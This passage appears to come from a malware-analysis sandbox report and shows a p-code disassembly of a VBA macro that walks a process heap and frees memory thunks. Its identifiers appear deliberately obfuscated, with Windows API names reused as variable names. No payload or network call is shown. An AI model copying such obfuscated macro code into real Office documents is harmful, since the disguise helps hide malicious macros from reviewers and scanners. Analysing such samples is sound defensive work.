' 	LbElse 
' Line #75:
' 	LineCont 0x0004 07 00 0C 00
' 	Ld SetEnvironmentVariable 
' 	MemLd HeapWalk 
' 	Ld wFlags 
' 	And 
' 	Ld SetEnvironmentVariable 
' 	MemLd PROCESS_HEAP_ENTRY_BUSY 
' 	LitHI2 0x001E 
' 	Ge 
' 	And 
' 	IfBlock 
' Line #76:
' Line #77:
' 	Ld SAFEARRAY 
' 	Ld SetEnvironmentVariable 
' 	MemLd cbData 
' 	LitHI2 0x0005 
' 	Add 
' 	ParamByVal 
' 	Ld SAFEARRAY 
' 	FnLen 
' 	ArgsCall GetModuleHandle 0x0003 
' Line #78:
' Line #79:
' 	Ld SAFEARRAY 
' 	Ld SetEnvironmentVariable 
' 	MemLd cbData 
' 	LitHI2 0x0004 
' 	Add 
' 	Paren 
' 	Add 
' 	LitDI2 0x0005 
' 	Add 
' 	St SAFEARRAY 
' Line #80:
' Line #81:
' 	LbMark 
' 	LbEndIf 
' Line #82:
' Line #83:
' 	ExitDo 
' Line #84:
' Line #85:
' 	EndIfBlock 
' Line #86:
' Line #87:
' 	Loop 
' Line #88:
' Line #89:
' 	Ld hUser32 
' 	ArgsCall lpData 0x0001 
' Line #90:
' Line #91:
' 	EndFunc 
' Line #92:
' Line #93:
' 	QuoteRem 0x0000 0x0033 " // Check if there is inactive thunks and free them"
' Line #94:
' 	QuoteRem 0x0000 0x0027 " // Returns the number of active thunks"
' Line #95:
' 	FuncDefn (Private Function HeapUnlock(id_FFFE As Long) As Long)
' Line #96:
' 	Dim 
' 	VarDefn SetEnvironmentVariable (As tEntry) 0x0014
' Line #97:
' 	Dim 
' 	VarDefn CleanupThunks (As Long) 0x0014
' Line #98:
' 	Dim 
' 	VarDefn lDisable (As Long) 0x0014
' Line #99:
' 	LbMark 
' 	Ld VBA7 
' 	LbIf 
' Line #100:
' 	Dim 
' 	VarDefn lCount (As LongPtr) 0x0014
' Line #101:
' 	LbMark 
' 	LbElse 
' Line #102:
' 	Dim 
' 	VarDefn lCount (As Long) 0x0014
' Line #103:
' 	LbMark 
' 	LbEndIf 
' Line #104:
' Line #105:
' 	Ld hUser32 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ExitFunc 
' 	EndIf 
' Line #106:
' Line #107:
' 	Ld hUser32 
' 	ArgsCall PROCESS_HEAP_ENTRY 0x0001 
' Line #108:
' Line #109:
' 	Ld hUser32 
' 	Ld SetEnvironmentVariable 
' 	ArgsLd HeapLock 0x0002 
' 	DoWhile 
' Line #110:
' Line #111:
' 	Ld lCount 
' 	IfBlock 
' Line #112:
' 	Ld hUser32 
' 	Ld HeapAlloc 
' 	Ld lCount 
' 	ArgsCall pThunk 0x0003 
' Line #113:
' 	LitDI2 0x0000 
' 	St lCount 
' Line #114:
' 	EndIfBlock 
' Line #115:
' Line #116:
…

Open this report in the interactive analyzer, or submit your own file for analysis.